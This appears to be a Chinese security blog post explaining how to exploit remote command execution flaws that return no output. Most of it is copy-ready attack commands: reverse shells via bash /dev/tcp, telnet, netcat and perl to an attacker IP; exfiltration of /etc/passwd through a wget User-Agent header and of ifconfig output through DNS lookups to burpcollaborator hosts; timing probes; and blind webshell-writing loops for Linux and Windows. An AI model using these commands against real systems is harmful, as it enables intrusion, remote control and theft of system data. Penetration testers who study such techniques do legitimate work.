RCE无回显漏洞利用

前言

在测试的过程中,经常会遇到RCE漏洞没有回显的情况,这种不能直接在页面上看到命令执行的结果,本篇文章来看看遇到这种情况如何去利用。

RCE无回显常见利用方式

1.反弹shell

2.dnslog外带

3.http请求外带

4.页面返回时间判断

5.盲写webshell

反弹shell

无回显的命令执行,最常见的方式就是反弹shell。因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

关于反弹shell,不同的操作系统反弹方式也是不同的,总体来说linux上比较简单,而win上则稍微麻烦一点。

在linux下可以使用下面的命令进行反弹shell

Bash反弹:
Bash反弹,远程主机监听端口:
nc -lvp 7777
被入侵的机器反弹shell命令如下:
bash -i >& /dev/tcp/IP/7777 0>&1

telnet反弹:
远程主机监听端口:
nc -lvvp 4444
nc -lvvp 5555
被入侵的机器反弹shell命令如下:
telnet IP 4444 | /bin/bash | telnet IP 5555

nc(netcat)反弹:
远程主机监听端口:
nc -lvvp 4444 
被入侵的机器反弹shell命令如下:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f

perl反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

win下的反弹shell可以看这篇文章:Win常见反弹shell方式总结 - FreeBuf网络安全行业门户

http外带信息

可以使用wget或者curl命令去访问一个http服务,把要执行的命令隐藏在header头或者数据包的其它地方,在被访问的服务器中去查看该条日志。

如下:使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo–n代表去掉各个分隔符,换行符等符号输出

wget --header="User-Agent: $(cat /etc/passwd | xargs echo–n)" http://xxxx.burpcollaborator.net

此时就可以去查看web日志或者dnslog平台上的http请求记录,可以看到请求的数据包,数据包中就包含执行的命令。

DNSlog外带

有的服务器是不允许http协议访问外网的,但是一般不会对DNS协议做限制,可以使用DNSlog日志外带数据,缺点就是dnslog一般只能带出一条数据,需要对结果进行编码等操作。

无回显命令执行,另外一种常用的方式就是DNSlog外带数据。如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。

不同的操作系统对命令的解析方式不同

windows在命令上使用%     如 %variable%.dnslog.com    
linux上使用反引号  如 `variable`.dnslog.com

对命令进行编码

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

如下面的操作

win上常用的系统变量如下

//变量                 类型       描述
//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
//%CD%                                                        本地       返回当前目录字符串。
//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%      系统       返回计算机的名称。
//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                         系统       指定可执行文件的搜索路径。
//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%           


        本地       返回包含用户帐户的域的名称。
//%USERNAME%                     本地       返回当前登录的用户的名称。
//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
//%WINDIR%                       系统       返回操作系统目录的位置。

页面返回时间判断

无回显时还可以通过页面的返回时间来进行判断,一般我们在sql注入中经常见到这种方式,在RCE漏洞中也可以使用。

如下面的命令:

?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi

盲写webshell

如果上面的方式都不能用,我们也可以考虑盲写一个webshell。

我们知道webshell如果想要使用,就必须知道webshell的绝对路径,然后实际情况下我们往往不知道路径。那么此时要怎么去操作?

这里一个常规的思路就是首先在系统中找到一个可以访问的静态资源,一般为图片,如flag.png,我们可以根据系统命令去查找这个文件所在的位置,然后将webshell写入到与此静态文件相同的目录中。

linux下盲写的命令

for i in `find /var -name "flag.png"`; do echo "text" >`realpath $i`flag.php; done

win下盲写命令

for /r C:\  %i  in  (flag.png) do @echo  "test" > %i.php

如下图,可以往该目录下写入一个php文件

盲写文件同样适用于不出网的条件下,我们知道在不出网的条件下建立正向连接是最有效的利用方式,而最稳定的正向连接当属webshell了。在知道web路径的情况下我们可以很方便的通过命令写入webshell,那么我们如何在不知道web路径的条件下盲写webshell呢?

盲写的思路是我们可以在网站访问的相对路径下找一个不常见的flag文件,以这个flag文件为基准利用操作系统的遍历语法在同级目录下写入webshell。

例如我们发现某站点存在一个名为sy-small-banner.png的图片,我们不需要知道该图片的绝对路径就可以通过下面的方式在该图片的同目录下创建一个名为sy-small-banner.png.php的文件。Windows下的盲写的方法:

for /r C:\ %i in (sy-small-banner*.png) do @echo "test" > %i.php

总结

除了上面的一些常见的方式以外,还有其它的如ICMP协议外带等等。

参考链接

带外攻击OOB(RCE无回显骚思路总结)-腾讯云开发者社区-腾讯云

 专注分享安全知识,大家可以关注一下我的微信公众号,谢谢大家!

不积跬步,无以至千里;不积小流,无以成江河。

  • 21
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值